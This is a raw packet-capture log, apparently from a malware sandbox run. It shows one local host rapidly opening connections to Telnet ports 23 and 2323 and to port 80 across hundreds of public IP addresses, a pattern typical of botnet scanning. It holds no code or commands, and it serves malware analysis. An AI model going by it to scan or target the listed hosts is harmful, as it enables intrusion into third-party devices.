Feb 27, 2025 07:08:36.544045925 CET	25794	23	192.168.2.14	195.40.10.16
Feb 27, 2025 07:08:36.544049025 CET	25794	2323	192.168.2.14	66.47.36.33
Feb 27, 2025 07:08:36.544049978 CET	25794	23	192.168.2.14	2.74.54.5
Feb 27, 2025 07:08:36.544049978 CET	25794	23	192.168.2.14	207.123.133.231
Feb 27, 2025 07:08:36.544054985 CET	25794	23	192.168.2.14	152.196.178.187
Feb 27, 2025 07:08:36.544055939 CET	25794	23	192.168.2.14	39.42.168.37
Feb 27, 2025 07:08:36.544071913 CET	25794	23	192.168.2.14	75.20.109.230
Feb 27, 2025 07:08:36.544073105 CET	25794	23	192.168.2.14	91.22.24.37
Feb 27, 2025 07:08:36.544075966 CET	25794	23	192.168.2.14	186.48.167.133
Feb 27, 2025 07:08:36.544075966 CET	25794	23	192.168.2.14	114.198.113.116
Feb 27, 2025 07:08:36.544080019 CET	25794	23	192.168.2.14	85.217.197.104
Feb 27, 2025 07:08:36.544084072 CET	25794	2323	192.168.2.14	154.201.161.246
Feb 27, 2025 07:08:36.544094086 CET	25794	23	192.168.2.14	96.133.177.94
Feb 27, 2025 07:08:36.544099092 CET	25794	23	192.168.2.14	124.51.196.79
Feb 27, 2025 07:08:36.544106960 CET	25794	23	192.168.2.14	47.255.4.113
Feb 27, 2025 07:08:36.544110060 CET	25794	23	192.168.2.14	34.42.47.66
Feb 27, 2025 07:08:36.544111967 CET	25794	23	192.168.2.14	182.46.255.212
Feb 27, 2025 07:08:36.544117928 CET	25794	23	192.168.2.14	110.110.10.117
Feb 27, 2025 07:08:36.544125080 CET	25794	23	192.168.2.14	173.251.38.158
Feb 27, 2025 07:08:36.544136047 CET	25794	23	192.168.2.14	177.242.139.36
Feb 27, 2025 07:08:36.544146061 CET	25794	2323	192.168.2.14	211.57.194.108
Feb 27, 2025 07:08:36.544146061 CET	25794	23	192.168.2.14	23.230.155.182
Feb 27, 2025 07:08:36.544150114 CET	25794	23	192.168.2.14	93.148.15.198
Feb 27, 2025 07:08:36.544156075 CET	25794	23	192.168.2.14	91.183.251.191
Feb 27, 2025 07:08:36.544157028 CET	25794	23	192.168.2.14	17.154.194.155
Feb 27, 2025 07:08:36.544158936 CET	25794	23	192.168.2.14	103.36.203.39
Feb 27, 2025 07:08:36.544167042 CET	25794	23	192.168.2.14	162.154.46.54
Feb 27, 2025 07:08:36.544167042 CET	25794	23	192.168.2.14	51.12.113.14
Feb 27, 2025 07:08:36.544182062 CET	25794	23	192.168.2.14	52.170.253.192
Feb 27, 2025 07:08:36.544183016 CET	25794	23	192.168.2.14	190.157.235.243
Feb 27, 2025 07:08:36.544183016 CET	25794	23	192.168.2.14	123.95.162.3
Feb 27, 2025 07:08:36.544183969 CET	25794	23	192.168.2.14	109.29.45.219
Feb 27, 2025 07:08:36.544186115 CET	25794	23	192.168.2.14	103.208.129.60
Feb 27, 2025 07:08:36.544186115 CET	25794	23	192.168.2.14	195.200.161.117
Feb 27, 2025 07:08:36.544188976 CET	25794	23	192.168.2.14	41.245.249.131
Feb 27, 2025 07:08:36.544187069 CET	25794	2323	192.168.2.14	133.70.45.188
Feb 27, 2025 07:08:36.544187069 CET	25794	23	192.168.2.14	223.136.16.7
Feb 27, 2025 07:08:36.544199944 CET	25794	23	192.168.2.14	84.175.236.221
Feb 27, 2025 07:08:36.544200897 CET	25794	23	192.168.2.14	2.45.0.227
Feb 27, 2025 07:08:36.544202089 CET	25794	2323	192.168.2.14	95.248.78.247
Feb 27, 2025 07:08:36.544203043 CET	25794	23	192.168.2.14	115.80.92.235
Feb 27, 2025 07:08:36.544208050 CET	25794	23	192.168.2.14	86.47.226.71
Feb 27, 2025 07:08:36.544210911 CET	25794	23	192.168.2.14	82.245.206.254
Feb 27, 2025 07:08:36.544220924 CET	25794	23	192.168.2.14	37.107.25.50
Feb 27, 2025 07:08:36.544377089 CET	80	60836	95.206.172.103	192.168.2.14
Feb 27, 2025 07:08:36.544420958 CET	80	50780	95.215.18.102	192.168.2.14
Feb 27, 2025 07:08:36.544454098 CET	80	42464	95.141.78.110	192.168.2.14
Feb 27, 2025 07:08:36.544460058 CET	60836	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:36.544460058 CET	50780	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:36.544509888 CET	80	47362	95.131.34.169	192.168.2.14
Feb 27, 2025 07:08:36.544512033 CET	42464	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:36.544539928 CET	80	48178	95.73.228.68	192.168.2.14
Feb 27, 2025 07:08:36.544552088 CET	47362	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:36.544570923 CET	80	41998	95.45.52.12	192.168.2.14
Feb 27, 2025 07:08:36.544580936 CET	28098	80	192.168.2.14	88.232.186.113
Feb 27, 2025 07:08:36.544583082 CET	48178	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:36.544614077 CET	28098	80	192.168.2.14	88.223.215.183
Feb 27, 2025 07:08:36.544614077 CET	28098	80	192.168.2.14	88.29.33.158
Feb 27, 2025 07:08:36.544614077 CET	41998	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:36.544634104 CET	28098	80	192.168.2.14	88.219.244.232
Feb 27, 2025 07:08:36.544653893 CET	28098	80	192.168.2.14	88.206.104.176
Feb 27, 2025 07:08:36.544660091 CET	28098	80	192.168.2.14	88.252.193.244
Feb 27, 2025 07:08:36.544680119 CET	28098	80	192.168.2.14	88.173.38.204
Feb 27, 2025 07:08:36.544703007 CET	28098	80	192.168.2.14	88.113.25.163
Feb 27, 2025 07:08:36.544720888 CET	28098	80	192.168.2.14	88.186.196.123
Feb 27, 2025 07:08:36.544730902 CET	28098	80	192.168.2.14	88.127.78.168
Feb 27, 2025 07:08:36.544755936 CET	28098	80	192.168.2.14	88.142.83.27
Feb 27, 2025 07:08:36.544768095 CET	28098	80	192.168.2.14	88.239.16.12
Feb 27, 2025 07:08:36.544779062 CET	28098	80	192.168.2.14	88.227.33.14
Feb 27, 2025 07:08:36.544796944 CET	28098	80	192.168.2.14	88.95.101.162
Feb 27, 2025 07:08:36.544810057 CET	28098	80	192.168.2.14	88.105.70.47
Feb 27, 2025 07:08:36.544832945 CET	28098	80	192.168.2.14	88.237.228.176
Feb 27, 2025 07:08:36.544847965 CET	28098	80	192.168.2.14	88.162.98.93
Feb 27, 2025 07:08:36.544872999 CET	28098	80	192.168.2.14	88.93.92.200
Feb 27, 2025 07:08:36.544897079 CET	28098	80	192.168.2.14	88.90.222.164
Feb 27, 2025 07:08:36.544903040 CET	28098	80	192.168.2.14	88.112.251.77
Feb 27, 2025 07:08:36.544914007 CET	28098	80	192.168.2.14	88.175.88.174
Feb 27, 2025 07:08:36.544929028 CET	28098	80	192.168.2.14	88.232.192.253
Feb 27, 2025 07:08:36.544940948 CET	28098	80	192.168.2.14	88.163.2.69
Feb 27, 2025 07:08:36.544955015 CET	28098	80	192.168.2.14	88.8.52.105
Feb 27, 2025 07:08:36.544967890 CET	28098	80	192.168.2.14	88.180.27.76
Feb 27, 2025 07:08:36.544991016 CET	28098	80	192.168.2.14	88.80.45.205
Feb 27, 2025 07:08:36.545021057 CET	28098	80	192.168.2.14	88.137.5.225
Feb 27, 2025 07:08:36.545023918 CET	28098	80	192.168.2.14	88.74.247.236
Feb 27, 2025 07:08:36.545042038 CET	28098	80	192.168.2.14	88.239.161.108
Feb 27, 2025 07:08:36.545070887 CET	28098	80	192.168.2.14	88.73.244.106
Feb 27, 2025 07:08:36.545089960 CET	28098	80	192.168.2.14	88.119.247.169
Feb 27, 2025 07:08:36.545109034 CET	28098	80	192.168.2.14	88.95.193.63
Feb 27, 2025 07:08:36.545120955 CET	28098	80	192.168.2.14	88.17.159.102
Feb 27, 2025 07:08:36.545141935 CET	28098	80	192.168.2.14	88.27.129.83
Feb 27, 2025 07:08:36.545165062 CET	28098	80	192.168.2.14	88.50.175.180
Feb 27, 2025 07:08:36.545181990 CET	28098	80	192.168.2.14	88.210.147.103
Feb 27, 2025 07:08:36.545195103 CET	28098	80	192.168.2.14	88.135.88.55
Feb 27, 2025 07:08:36.545208931 CET	28098	80	192.168.2.14	88.71.58.73
Feb 27, 2025 07:08:36.545217037 CET	28098	80	192.168.2.14	88.29.70.16
Feb 27, 2025 07:08:36.545252085 CET	28098	80	192.168.2.14	88.121.135.81
Feb 27, 2025 07:08:36.545264006 CET	28098	80	192.168.2.14	88.84.53.73
Feb 27, 2025 07:08:36.545290947 CET	28098	80	192.168.2.14	88.231.49.71
Feb 27, 2025 07:08:36.545301914 CET	28098	80	192.168.2.14	88.209.244.139
Feb 27, 2025 07:08:36.545317888 CET	28098	80	192.168.2.14	88.153.165.55
Feb 27, 2025 07:08:36.545334101 CET	28098	80	192.168.2.14	88.194.222.171
Feb 27, 2025 07:08:36.545348883 CET	28098	80	192.168.2.14	88.14.208.91
Feb 27, 2025 07:08:36.545361996 CET	28098	80	192.168.2.14	88.8.73.230
Feb 27, 2025 07:08:36.545373917 CET	28098	80	192.168.2.14	88.26.119.80
Feb 27, 2025 07:08:36.545388937 CET	28098	80	192.168.2.14	88.189.60.162
Feb 27, 2025 07:08:36.545411110 CET	28098	80	192.168.2.14	88.201.58.138
Feb 27, 2025 07:08:36.545430899 CET	28098	80	192.168.2.14	88.184.207.12
Feb 27, 2025 07:08:36.545444012 CET	28098	80	192.168.2.14	88.67.223.175
Feb 27, 2025 07:08:36.545458078 CET	28098	80	192.168.2.14	88.32.86.64
Feb 27, 2025 07:08:36.545475006 CET	28098	80	192.168.2.14	88.17.60.73
Feb 27, 2025 07:08:36.545490026 CET	28098	80	192.168.2.14	88.169.138.208
Feb 27, 2025 07:08:36.545509100 CET	28098	80	192.168.2.14	88.220.29.116
Feb 27, 2025 07:08:36.545521975 CET	28098	80	192.168.2.14	88.177.226.136
Feb 27, 2025 07:08:36.545530081 CET	28098	80	192.168.2.14	88.220.22.27
Feb 27, 2025 07:08:36.545548916 CET	28098	80	192.168.2.14	88.44.21.164
Feb 27, 2025 07:08:36.545562983 CET	28098	80	192.168.2.14	88.118.30.21
Feb 27, 2025 07:08:36.545574903 CET	28098	80	192.168.2.14	88.220.238.62
Feb 27, 2025 07:08:36.545593977 CET	28098	80	192.168.2.14	88.206.239.98
Feb 27, 2025 07:08:36.545614958 CET	28098	80	192.168.2.14	88.212.8.55
Feb 27, 2025 07:08:36.545631886 CET	28098	80	192.168.2.14	88.122.9.205
Feb 27, 2025 07:08:36.545649052 CET	28098	80	192.168.2.14	88.215.22.15
Feb 27, 2025 07:08:36.545670033 CET	28098	80	192.168.2.14	88.209.71.202
Feb 27, 2025 07:08:36.545682907 CET	28098	80	192.168.2.14	88.189.28.160
Feb 27, 2025 07:08:36.545700073 CET	28098	80	192.168.2.14	88.192.90.224
Feb 27, 2025 07:08:36.545730114 CET	28098	80	192.168.2.14	88.24.115.108
Feb 27, 2025 07:08:36.545731068 CET	28098	80	192.168.2.14	88.4.70.114
Feb 27, 2025 07:08:36.545732975 CET	28098	80	192.168.2.14	88.158.183.168
Feb 27, 2025 07:08:36.545753956 CET	28098	80	192.168.2.14	88.227.69.250
Feb 27, 2025 07:08:36.545768023 CET	28098	80	192.168.2.14	88.230.186.129
Feb 27, 2025 07:08:36.545782089 CET	28098	80	192.168.2.14	88.185.226.111
Feb 27, 2025 07:08:36.545794010 CET	28098	80	192.168.2.14	88.75.98.213
Feb 27, 2025 07:08:36.545814991 CET	28098	80	192.168.2.14	88.218.193.52
Feb 27, 2025 07:08:36.545831919 CET	28098	80	192.168.2.14	88.230.1.249
Feb 27, 2025 07:08:36.545849085 CET	28098	80	192.168.2.14	88.204.75.41
Feb 27, 2025 07:08:36.545864105 CET	28098	80	192.168.2.14	88.154.205.248
Feb 27, 2025 07:08:36.545876980 CET	28098	80	192.168.2.14	88.159.143.132
Feb 27, 2025 07:08:36.545900106 CET	28098	80	192.168.2.14	88.229.189.61
Feb 27, 2025 07:08:36.545919895 CET	28098	80	192.168.2.14	88.155.115.42
Feb 27, 2025 07:08:36.545937061 CET	28098	80	192.168.2.14	88.204.66.187
Feb 27, 2025 07:08:36.545952082 CET	28098	80	192.168.2.14	88.118.51.218
Feb 27, 2025 07:08:36.545972109 CET	28098	80	192.168.2.14	88.222.142.29
Feb 27, 2025 07:08:36.545985937 CET	28098	80	192.168.2.14	88.204.87.158
Feb 27, 2025 07:08:36.546000957 CET	28098	80	192.168.2.14	88.96.56.192
Feb 27, 2025 07:08:36.546025038 CET	28098	80	192.168.2.14	88.116.91.44
Feb 27, 2025 07:08:36.546041965 CET	28098	80	192.168.2.14	88.114.212.156
Feb 27, 2025 07:08:36.546053886 CET	28098	80	192.168.2.14	88.212.225.79
Feb 27, 2025 07:08:36.546071053 CET	28098	80	192.168.2.14	88.66.219.117
Feb 27, 2025 07:08:36.546084881 CET	28098	80	192.168.2.14	88.117.199.212
Feb 27, 2025 07:08:36.546098948 CET	28098	80	192.168.2.14	88.197.99.6
Feb 27, 2025 07:08:36.546123028 CET	28098	80	192.168.2.14	88.246.199.210
Feb 27, 2025 07:08:36.546135902 CET	28098	80	192.168.2.14	88.215.25.146
Feb 27, 2025 07:08:36.546149015 CET	28098	80	192.168.2.14	88.179.171.228
Feb 27, 2025 07:08:36.546165943 CET	28098	80	192.168.2.14	88.129.63.250
Feb 27, 2025 07:08:36.546192884 CET	28098	80	192.168.2.14	88.219.181.113
Feb 27, 2025 07:08:36.546205044 CET	28098	80	192.168.2.14	88.19.22.140
Feb 27, 2025 07:08:36.546221018 CET	28098	80	192.168.2.14	88.223.163.77
Feb 27, 2025 07:08:36.546236038 CET	28098	80	192.168.2.14	88.36.158.1
Feb 27, 2025 07:08:36.546252012 CET	28098	80	192.168.2.14	88.250.130.108
Feb 27, 2025 07:08:36.546274900 CET	28098	80	192.168.2.14	88.210.163.173
Feb 27, 2025 07:08:36.546288013 CET	28098	80	192.168.2.14	88.66.94.225
Feb 27, 2025 07:08:36.546303034 CET	28098	80	192.168.2.14	88.154.208.205
Feb 27, 2025 07:08:36.546324015 CET	28098	80	192.168.2.14	88.103.63.82
Feb 27, 2025 07:08:36.546334028 CET	28098	80	192.168.2.14	88.187.59.251
Feb 27, 2025 07:08:36.546363115 CET	28098	80	192.168.2.14	88.191.20.6
Feb 27, 2025 07:08:36.546375990 CET	28098	80	192.168.2.14	88.142.239.212
Feb 27, 2025 07:08:36.546396971 CET	28098	80	192.168.2.14	88.207.131.248
Feb 27, 2025 07:08:36.546415091 CET	28098	80	192.168.2.14	88.210.48.214
Feb 27, 2025 07:08:36.546431065 CET	28098	80	192.168.2.14	88.1.32.58
Feb 27, 2025 07:08:36.546438932 CET	28098	80	192.168.2.14	88.187.245.51
Feb 27, 2025 07:08:36.546483994 CET	28098	80	192.168.2.14	88.205.57.114
Feb 27, 2025 07:08:36.546499968 CET	28098	80	192.168.2.14	88.250.41.161
Feb 27, 2025 07:08:36.546531916 CET	28098	80	192.168.2.14	88.138.228.85
Feb 27, 2025 07:08:36.546542883 CET	28098	80	192.168.2.14	88.70.106.112
Feb 27, 2025 07:08:36.546592951 CET	28098	80	192.168.2.14	88.20.62.201
Feb 27, 2025 07:08:36.546617031 CET	28098	80	192.168.2.14	88.243.243.146
Feb 27, 2025 07:08:36.546631098 CET	28098	80	192.168.2.14	88.240.232.169
Feb 27, 2025 07:08:36.546657085 CET	28098	80	192.168.2.14	88.195.7.125
Feb 27, 2025 07:08:36.546670914 CET	28098	80	192.168.2.14	88.192.165.113
Feb 27, 2025 07:08:36.546685934 CET	28098	80	192.168.2.14	88.118.77.78
Feb 27, 2025 07:08:36.546699047 CET	28098	80	192.168.2.14	88.191.137.184
Feb 27, 2025 07:08:36.546719074 CET	28098	80	192.168.2.14	88.236.155.60
Feb 27, 2025 07:08:36.546732903 CET	28098	80	192.168.2.14	88.197.228.172
Feb 27, 2025 07:08:36.546749115 CET	28098	80	192.168.2.14	88.12.159.102
Feb 27, 2025 07:08:36.546793938 CET	28098	80	192.168.2.14	88.43.165.157
Feb 27, 2025 07:08:36.546813011 CET	28098	80	192.168.2.14	88.56.254.22
Feb 27, 2025 07:08:36.546823978 CET	28098	80	192.168.2.14	88.228.100.163
Feb 27, 2025 07:08:36.546833992 CET	28098	80	192.168.2.14	88.148.149.134
Feb 27, 2025 07:08:36.546852112 CET	28098	80	192.168.2.14	88.106.1.10
Feb 27, 2025 07:08:36.546871901 CET	28098	80	192.168.2.14	88.207.177.213
Feb 27, 2025 07:08:36.546917915 CET	28098	80	192.168.2.14	88.61.254.167
Feb 27, 2025 07:08:36.546936989 CET	28098	80	192.168.2.14	88.83.24.67
Feb 27, 2025 07:08:36.546977043 CET	28098	80	192.168.2.14	88.197.231.192
Feb 27, 2025 07:08:36.546992064 CET	28098	80	192.168.2.14	88.50.35.178
Feb 27, 2025 07:08:36.547019005 CET	28098	80	192.168.2.14	88.203.138.254
Feb 27, 2025 07:08:36.547035933 CET	28098	80	192.168.2.14	88.159.50.145
Feb 27, 2025 07:08:36.547055006 CET	28098	80	192.168.2.14	88.78.233.162
Feb 27, 2025 07:08:36.547082901 CET	28098	80	192.168.2.14	88.181.174.201
Feb 27, 2025 07:08:36.547106981 CET	28098	80	192.168.2.14	88.92.67.77
Feb 27, 2025 07:08:36.547130108 CET	28098	80	192.168.2.14	88.122.231.10
Feb 27, 2025 07:08:36.547148943 CET	28098	80	192.168.2.14	88.158.93.204
Feb 27, 2025 07:08:36.547163963 CET	28098	80	192.168.2.14	88.52.168.232
Feb 27, 2025 07:08:36.547178984 CET	28098	80	192.168.2.14	88.21.13.18
Feb 27, 2025 07:08:36.547195911 CET	28098	80	192.168.2.14	88.176.58.59
Feb 27, 2025 07:08:36.547214985 CET	28098	80	192.168.2.14	88.216.208.122
Feb 27, 2025 07:08:36.547230005 CET	28098	80	192.168.2.14	88.56.226.247
Feb 27, 2025 07:08:36.547250032 CET	28098	80	192.168.2.14	88.75.250.67
Feb 27, 2025 07:08:36.547266006 CET	28098	80	192.168.2.14	88.79.108.61
Feb 27, 2025 07:08:36.547282934 CET	28098	80	192.168.2.14	88.115.163.128
Feb 27, 2025 07:08:36.547306061 CET	28098	80	192.168.2.14	88.241.171.112
Feb 27, 2025 07:08:36.547321081 CET	28098	80	192.168.2.14	88.132.13.82
Feb 27, 2025 07:08:36.547339916 CET	28098	80	192.168.2.14	88.255.118.81
Feb 27, 2025 07:08:36.547358990 CET	28098	80	192.168.2.14	88.128.197.232
Feb 27, 2025 07:08:36.547374964 CET	28098	80	192.168.2.14	88.73.233.181
Feb 27, 2025 07:08:36.547399998 CET	28098	80	192.168.2.14	88.121.142.114
Feb 27, 2025 07:08:36.547419071 CET	28098	80	192.168.2.14	88.136.28.99
Feb 27, 2025 07:08:36.547441006 CET	28098	80	192.168.2.14	88.184.215.88
Feb 27, 2025 07:08:36.547497034 CET	50780	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:36.547509909 CET	50780	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:36.547988892 CET	51048	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:36.548211098 CET	23	25794	211.1.40.27	192.168.2.14
Feb 27, 2025 07:08:36.548254967 CET	25794	23	192.168.2.14	211.1.40.27
Feb 27, 2025 07:08:36.548341036 CET	60836	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:36.548341036 CET	60836	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:36.548403978 CET	2323	25794	159.178.23.251	192.168.2.14
Feb 27, 2025 07:08:36.548433065 CET	23	25794	148.27.21.253	192.168.2.14
Feb 27, 2025 07:08:36.548445940 CET	25794	2323	192.168.2.14	159.178.23.251
Feb 27, 2025 07:08:36.548463106 CET	23	25794	93.127.119.251	192.168.2.14
Feb 27, 2025 07:08:36.548470974 CET	25794	23	192.168.2.14	148.27.21.253
Feb 27, 2025 07:08:36.548491955 CET	23	25794	190.236.150.116	192.168.2.14
Feb 27, 2025 07:08:36.548518896 CET	25794	23	192.168.2.14	93.127.119.251
Feb 27, 2025 07:08:36.548522949 CET	23	25794	79.200.168.234	192.168.2.14
Feb 27, 2025 07:08:36.548547983 CET	25794	23	192.168.2.14	190.236.150.116
Feb 27, 2025 07:08:36.548552990 CET	23	25794	57.2.11.215	192.168.2.14
Feb 27, 2025 07:08:36.548566103 CET	25794	23	192.168.2.14	79.200.168.234
Feb 27, 2025 07:08:36.548599958 CET	25794	23	192.168.2.14	57.2.11.215
Feb 27, 2025 07:08:36.548671007 CET	32864	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:36.549302101 CET	47362	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:36.549302101 CET	47362	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:36.549575090 CET	47632	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:36.549973965 CET	42464	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:36.549973965 CET	23	25794	34.222.105.245	192.168.2.14
Feb 27, 2025 07:08:36.549983025 CET	42464	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:36.550004005 CET	23	25794	189.116.91.74	192.168.2.14
Feb 27, 2025 07:08:36.550024986 CET	25794	23	192.168.2.14	34.222.105.245
Feb 27, 2025 07:08:36.550034046 CET	23	25794	84.174.237.117	192.168.2.14
Feb 27, 2025 07:08:36.550052881 CET	25794	23	192.168.2.14	189.116.91.74
Feb 27, 2025 07:08:36.550061941 CET	23	25794	151.184.176.35	192.168.2.14
Feb 27, 2025 07:08:36.550081015 CET	25794	23	192.168.2.14	84.174.237.117
Feb 27, 2025 07:08:36.550090075 CET	23	25794	124.238.175.194	192.168.2.14
Feb 27, 2025 07:08:36.550107002 CET	25794	23	192.168.2.14	151.184.176.35
Feb 27, 2025 07:08:36.550118923 CET	23	25794	81.233.47.162	192.168.2.14
Feb 27, 2025 07:08:36.550138950 CET	25794	23	192.168.2.14	124.238.175.194
Feb 27, 2025 07:08:36.550147057 CET	23	25794	223.122.185.182	192.168.2.14
Feb 27, 2025 07:08:36.550168991 CET	25794	23	192.168.2.14	81.233.47.162
Feb 27, 2025 07:08:36.550175905 CET	23	25794	177.205.27.253	192.168.2.14
Feb 27, 2025 07:08:36.550189018 CET	25794	23	192.168.2.14	223.122.185.182
Feb 27, 2025 07:08:36.550204992 CET	23	25794	140.4.85.212	192.168.2.14
Feb 27, 2025 07:08:36.550220013 CET	25794	23	192.168.2.14	177.205.27.253
Feb 27, 2025 07:08:36.550232887 CET	23	25794	58.43.184.50	192.168.2.14
Feb 27, 2025 07:08:36.550251007 CET	25794	23	192.168.2.14	140.4.85.212
Feb 27, 2025 07:08:36.550261021 CET	23	25794	78.255.237.91	192.168.2.14
Feb 27, 2025 07:08:36.550276995 CET	25794	23	192.168.2.14	58.43.184.50
Feb 27, 2025 07:08:36.550290108 CET	23	25794	82.102.65.92	192.168.2.14
Feb 27, 2025 07:08:36.550293922 CET	42734	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:36.550301075 CET	25794	23	192.168.2.14	78.255.237.91
Feb 27, 2025 07:08:36.550318003 CET	23	25794	144.37.186.79	192.168.2.14
Feb 27, 2025 07:08:36.550338030 CET	25794	23	192.168.2.14	82.102.65.92
Feb 27, 2025 07:08:36.550345898 CET	23	25794	150.245.145.37	192.168.2.14
Feb 27, 2025 07:08:36.550369024 CET	25794	23	192.168.2.14	144.37.186.79
Feb 27, 2025 07:08:36.550375938 CET	2323	25794	137.193.250.40	192.168.2.14
Feb 27, 2025 07:08:36.550384045 CET	25794	23	192.168.2.14	150.245.145.37
Feb 27, 2025 07:08:36.550404072 CET	23	25794	149.243.115.250	192.168.2.14
Feb 27, 2025 07:08:36.550421000 CET	25794	2323	192.168.2.14	137.193.250.40
Feb 27, 2025 07:08:36.550431013 CET	23	25794	9.53.175.210	192.168.2.14
Feb 27, 2025 07:08:36.550451040 CET	25794	23	192.168.2.14	149.243.115.250
Feb 27, 2025 07:08:36.550460100 CET	2323	25794	156.246.77.88	192.168.2.14
Feb 27, 2025 07:08:36.550465107 CET	25794	23	192.168.2.14	9.53.175.210
Feb 27, 2025 07:08:36.550488949 CET	23	25794	2.98.57.160	192.168.2.14
Feb 27, 2025 07:08:36.550506115 CET	25794	2323	192.168.2.14	156.246.77.88
Feb 27, 2025 07:08:36.550515890 CET	23	25794	164.186.86.153	192.168.2.14
Feb 27, 2025 07:08:36.550530910 CET	25794	23	192.168.2.14	2.98.57.160
Feb 27, 2025 07:08:36.550544977 CET	23	25794	46.11.149.43	192.168.2.14
Feb 27, 2025 07:08:36.550555944 CET	25794	23	192.168.2.14	164.186.86.153
Feb 27, 2025 07:08:36.550573111 CET	23	25794	160.118.109.68	192.168.2.14
Feb 27, 2025 07:08:36.550582886 CET	25794	23	192.168.2.14	46.11.149.43
Feb 27, 2025 07:08:36.550620079 CET	25794	23	192.168.2.14	160.118.109.68
Feb 27, 2025 07:08:36.550621986 CET	23	25794	83.139.1.177	192.168.2.14
Feb 27, 2025 07:08:36.550658941 CET	23	25794	174.221.241.144	192.168.2.14
Feb 27, 2025 07:08:36.550669909 CET	25794	23	192.168.2.14	83.139.1.177
Feb 27, 2025 07:08:36.550678015 CET	48178	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:36.550678015 CET	48178	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:36.550687075 CET	23	25794	176.161.197.202	192.168.2.14
Feb 27, 2025 07:08:36.550708055 CET	25794	23	192.168.2.14	174.221.241.144
Feb 27, 2025 07:08:36.550714970 CET	23	25794	63.64.81.253	192.168.2.14
Feb 27, 2025 07:08:36.550734043 CET	25794	23	192.168.2.14	176.161.197.202
Feb 27, 2025 07:08:36.550743103 CET	23	25794	103.6.192.209	192.168.2.14
Feb 27, 2025 07:08:36.550751925 CET	25794	23	192.168.2.14	63.64.81.253
Feb 27, 2025 07:08:36.550770998 CET	23	25794	197.210.78.153	192.168.2.14
Feb 27, 2025 07:08:36.550784111 CET	25794	23	192.168.2.14	103.6.192.209
Feb 27, 2025 07:08:36.550798893 CET	23	25794	186.183.113.207	192.168.2.14
Feb 27, 2025 07:08:36.550806999 CET	25794	23	192.168.2.14	197.210.78.153
Feb 27, 2025 07:08:36.550827980 CET	2323	25794	183.2.178.209	192.168.2.14
Feb 27, 2025 07:08:36.550844908 CET	25794	23	192.168.2.14	186.183.113.207
Feb 27, 2025 07:08:36.550856113 CET	23	25794	192.106.168.8	192.168.2.14
Feb 27, 2025 07:08:36.550870895 CET	25794	2323	192.168.2.14	183.2.178.209
Feb 27, 2025 07:08:36.550884008 CET	23	25794	132.24.89.121	192.168.2.14
Feb 27, 2025 07:08:36.550899029 CET	25794	23	192.168.2.14	192.106.168.8
Feb 27, 2025 07:08:36.550910950 CET	23	25794	190.63.187.229	192.168.2.14
Feb 27, 2025 07:08:36.550928116 CET	25794	23	192.168.2.14	132.24.89.121
Feb 27, 2025 07:08:36.550940037 CET	2323	25794	172.67.132.64	192.168.2.14
Feb 27, 2025 07:08:36.550966978 CET	25794	23	192.168.2.14	190.63.187.229
Feb 27, 2025 07:08:36.550978899 CET	23	25794	167.244.19.154	192.168.2.14
Feb 27, 2025 07:08:36.551003933 CET	25794	2323	192.168.2.14	172.67.132.64
Feb 27, 2025 07:08:36.551007032 CET	23	25794	63.153.22.192	192.168.2.14
Feb 27, 2025 07:08:36.551017046 CET	48448	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:36.551035881 CET	23	25794	155.241.25.14	192.168.2.14
Feb 27, 2025 07:08:36.551053047 CET	25794	23	192.168.2.14	167.244.19.154
Feb 27, 2025 07:08:36.551053047 CET	25794	23	192.168.2.14	63.153.22.192
Feb 27, 2025 07:08:36.551064014 CET	23	25794	155.136.6.57	192.168.2.14
Feb 27, 2025 07:08:36.551083088 CET	25794	23	192.168.2.14	155.241.25.14
Feb 27, 2025 07:08:36.551094055 CET	23	25794	93.124.86.27	192.168.2.14
Feb 27, 2025 07:08:36.551109076 CET	25794	23	192.168.2.14	155.136.6.57
Feb 27, 2025 07:08:36.551120996 CET	23	25794	150.39.252.135	192.168.2.14
Feb 27, 2025 07:08:36.551141024 CET	25794	23	192.168.2.14	93.124.86.27
Feb 27, 2025 07:08:36.551148891 CET	23	25794	148.70.78.41	192.168.2.14
Feb 27, 2025 07:08:36.551175117 CET	23	25794	220.128.211.110	192.168.2.14
Feb 27, 2025 07:08:36.551177025 CET	25794	23	192.168.2.14	150.39.252.135
Feb 27, 2025 07:08:36.551183939 CET	25794	23	192.168.2.14	148.70.78.41
Feb 27, 2025 07:08:36.551203966 CET	2323	25794	154.61.29.246	192.168.2.14
Feb 27, 2025 07:08:36.551220894 CET	25794	23	192.168.2.14	220.128.211.110
Feb 27, 2025 07:08:36.551232100 CET	23	25794	204.238.141.171	192.168.2.14
Feb 27, 2025 07:08:36.551242113 CET	25794	2323	192.168.2.14	154.61.29.246
Feb 27, 2025 07:08:36.551259995 CET	23	25794	90.49.168.251	192.168.2.14
Feb 27, 2025 07:08:36.551291943 CET	23	25794	13.37.254.136	192.168.2.14
Feb 27, 2025 07:08:36.551292896 CET	25794	23	192.168.2.14	204.238.141.171
Feb 27, 2025 07:08:36.551306009 CET	25794	23	192.168.2.14	90.49.168.251
Feb 27, 2025 07:08:36.551335096 CET	25794	23	192.168.2.14	13.37.254.136
Feb 27, 2025 07:08:36.551348925 CET	23	25794	86.164.183.23	192.168.2.14
Feb 27, 2025 07:08:36.551376104 CET	23	25794	82.150.113.199	192.168.2.14
Feb 27, 2025 07:08:36.551394939 CET	25794	23	192.168.2.14	86.164.183.23
